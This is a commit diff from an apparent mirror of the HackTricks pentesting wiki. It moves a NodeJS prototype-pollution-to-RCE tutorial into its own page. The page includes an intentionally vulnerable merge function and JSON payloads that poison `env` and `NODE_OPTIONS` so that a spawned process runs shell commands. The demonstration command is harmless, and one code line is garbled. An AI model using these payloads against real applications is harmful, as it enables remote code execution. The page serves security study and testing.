mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
GitBook: [#3461] No subject
This commit is contained in:
parent
95f9d460fa
commit
0c99ad38f6
3 changed files with 154 additions and 76 deletions
|
@ -452,6 +452,7 @@
|
|||
* [Deserialization](pentesting-web/deserialization/README.md)
|
||||
* [NodeJS - \_\_proto\_\_ & prototype Pollution](pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md)
|
||||
* [Client Side Prototype Pollution](pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md)
|
||||
* [Prototype Pollution to RCE](pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md)
|
||||
* [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
|
||||
* [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
|
||||
* [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
# NodeJS - \_\_proto\_\_ & prototype Pollution
|
||||
|
||||
## NodeJS - \_\_proto\_\_ & prototype Pollution
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
@ -199,77 +197,17 @@ However, the attack is not as simple as the one above, according to [paper](http
|
|||
customer.__proto__.toString = ()=>{alert("polluted")}
|
||||
```
|
||||
|
||||
### RCE Example
|
||||
### Proto Pollution to RCE
|
||||
|
||||
Imagine a real JS using some code like the following one:
|
||||
{% content-ref url="prototype-pollution-to-rce.md" %}
|
||||
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
```javascript
|
||||
const { execSync, fork } = require('child_process');
|
||||
## Client-side prototype pollution to XSS
|
||||
|
||||
function isObject(obj) {
|
||||
console.log(typeof obj);
|
||||
return typeof obj === 'function' || typeof obj === 'object';
|
||||
}
|
||||
|
||||
function merge(target, source) {
|
||||
for (let key in source) {
|
||||
if (isObject(target[key]) && isObject(source[key])) {
|
||||
merge(target[key], source[key]);
|
||||
} else {
|
||||
target[key] = source[key];
|
||||
}
|
||||
}
|
||||
return target;
|
||||
}
|
||||
|
||||
function clone(target) {
|
||||
return merge({}, target);
|
||||
}
|
||||
|
||||
clone(USERINPUT);
|
||||
|
||||
let proc = fork('VersionCheck.js', [], {
|
||||
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
|
||||
});
|
||||
```
|
||||
|
||||
You can observe that the merge function is coping one by one all the key-value pairs from a dictionary into another one. This may seem secure, but it isn't as the copy of the `__proto__` or `prototype` properties from a dictionary into an object may modify completely the structure of the rest of the JS objects (as it was previously explained).
|
||||
|
||||
**RCE abusing environmental variables**
|
||||
|
||||
This trick was taken from [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/).\
|
||||
Basically, **if a new process** using node is **spawned** and you are able to **poison the environmental variables** it's possible to **execute arbitrary commands**.\
|
||||
It's also **possible to poison environmental variables** y setting the **`env`** property in some object inside JS.\
|
||||
For more information about why this works read the previously indicated URL.
|
||||
|
||||
You can poison all the objects `env` property abusing `__proto__`:
|
||||
|
||||
```javascript
|
||||
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/hackermate').toString())//"}
|
||||
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
|
||||
let proc = fork('VersionCheck.js', [], {
|
||||
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
|
||||
});
|
||||
```
|
||||
|
||||
Or all the objects abusing `prototype`from a dictionary `constructor`:
|
||||
|
||||
```javascript
|
||||
b = {"name": "Cat"}
|
||||
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/hacktricks').toString())//"}
|
||||
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
|
||||
let proc = fork('VersionCheck.js', [], {
|
||||
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
|
||||
});
|
||||
```
|
||||
|
||||
Executing any of the **last 2 chunks of code** (and creating some `VersionCheck.js` file) the file `/tmp/hacktricks` is going to be created.
|
||||
|
||||
Going back to the initial example if you substitute the `USERINPUT` with the following line arbitrary command execution will be achieved:
|
||||
|
||||
```javascript
|
||||
{"name":"Cat","constructor":{"prototype":{"env":{ "EVIL":"console.log(require('child_process').execSync('touch /tmp/hacktricks').toString())//"},"NODE_OPTIONS":"--require /proc/self/environ"}}}
|
||||
```
|
||||
{% content-ref url="client-side-prototype-pollution.md" %}
|
||||
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CVE-2019–11358: Prototype pollution attack through jQuery $ .extend
|
||||
|
||||
|
@ -546,12 +484,6 @@ requests.post(TARGET_URL + '/vulnerable', json = {
|
|||
requests.get(TARGET_URL)
|
||||
```
|
||||
|
||||
## Client-side prototype pollution to XSS
|
||||
|
||||
{% content-ref url="client-side-prototype-pollution.md" %}
|
||||
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## What can I do to prevent?
|
||||
|
||||
* Freeze properties with Object.freeze (Object.prototype)
|
||||
|
|
|
@ -0,0 +1,145 @@
|
|||
# Prototype Pollution to RCE
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
## Vulnerable Code
|
||||
|
||||
Imagine a real JS using some code like the following one:
|
||||
|
||||
```javascript
|
||||
const { execSync, fork } = require('child_process');
|
||||
|
||||
function isObject(obj) {
|
||||
console.log(typeof obj);
|
||||
return typeof obj === 'function' || typeof obj === 'object';
|
||||
}
|
||||
|
||||
// Function vulnerable to prototype pollution
|
||||
function merge(target, source) {
|
||||
for (let key in source) {
|
||||
if (isObject(target[key]) && isObject(source[key])) {
|
||||
merge(target[key], source[key]);
|
||||
} else {
|
||||
target[key] = source[key];
|
||||
}
|
||||
}
|
||||
return target;
|
||||
}
|
||||
|
||||
function clone(target) {
|
||||
return merge({}, target);
|
||||
}
|
||||
|
||||
// Run prototype pollution with user input
|
||||
// Check in the next sections what payload put here to execute arbitrary code
|
||||
clone(USERINPUT);
|
||||
|
||||
// Spawn process, this will call the gadget that poputales env variables
|
||||
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
|
||||
var proc = fork('a_file.js', [], {
|
||||
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
|
||||
});
|
||||
```
|
||||
|
||||
## PP2RCE via env vars
|
||||
|
||||
According to this [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) when a **process is spawned** with some method from**`child_process`** (like `fork` or `spawn` or others) method it calls the method `normalizeSpawnArguments` which a **prototype pollution gadget to create new env vars**:
|
||||
|
||||
```javascript
|
||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||
|
||||
var env = options.env || process.env;
|
||||
var envPairs = [];
|
||||
[...]
|
||||
let envKeys = [];
|
||||
// Prototype values are intentionally included.
|
||||
for (const key in env) {
|
||||
ArrayPrototypePush(envKeys, key);
|
||||
}
|
||||
[...]
|
||||
for (const key of envKeys) {
|
||||
const value = env[key];
|
||||
if (value !== undefined) {
|
||||
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Check that code you can see it's possible en **poison `envPairs`** just by **polluting** the **attribute `.env`.**
|
||||
|
||||
### **Poisoning `__proto__`**
|
||||
|
||||
```javascript
|
||||
const { execSync, fork } = require('child_process');
|
||||
|
||||
// Manual Pollution
|
||||
b = {}
|
||||
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
|
||||
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
|
||||
|
||||
// Trigger gadget
|
||||
var proc = fork('./a_file.js'PP");
|
||||
// This should create the file /tmp/pp2rec
|
||||
|
||||
|
||||
// Abusing the vulnerable code
|
||||
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')
|
||||
|
||||
clone(USERINPUT);
|
||||
|
||||
var proc = fork('a_file.js');
|
||||
// This should create the file /tmp/pp2rec
|
||||
```
|
||||
|
||||
### Poisoning `constructor.prototype`
|
||||
|
||||
```javascript
|
||||
const { execSync, fork } = require('child_process');
|
||||
|
||||
// Manual Pollution
|
||||
b = {}
|
||||
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
|
||||
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
|
||||
|
||||
proc = fork('a_file.js');
|
||||
// This should create the file /tmp/pp2rec2
|
||||
|
||||
|
||||
// Abusing the vulnerable code
|
||||
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')
|
||||
|
||||
clone(USERINPUT);
|
||||
|
||||
var proc = fork('a_file.js');
|
||||
// This should create the file /tmp/pp2rec2
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
Loading…
Add table
Reference in a new issue